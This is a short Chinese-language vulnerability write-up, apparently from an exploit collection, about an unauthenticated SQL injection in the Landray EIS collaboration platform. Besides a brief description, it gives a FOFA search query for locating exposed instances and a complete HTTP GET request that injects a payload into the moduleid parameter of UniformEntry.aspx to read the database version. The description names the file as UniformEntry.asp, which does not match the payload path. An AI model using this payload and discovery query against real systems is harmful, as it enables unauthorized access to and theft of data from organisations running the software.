L1-9蓝凌-EIS智慧协同平台-SQL

漏洞描述：

由于蓝凌EIS智慧协同平台 UniformEntry.asp接口处未对用户输入的SQL语句进行过滤或验证导致出现SQL注入漏洞，未经身份验证的攻击者可以利用此漏洞获取数据库敏感信息。

影响版本：

- 蓝凌-EIS智慧协同平台

网站图片：

网络测绘：

fofa语法：

FOFA：app="Landray-EIS智慧协同平台"

漏洞复现：

payload：

```
GET /third/DingTalk/Pages/UniformEntry.aspx?moduleid=1%20and%201=@@version--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

效果图:
查询数据库版本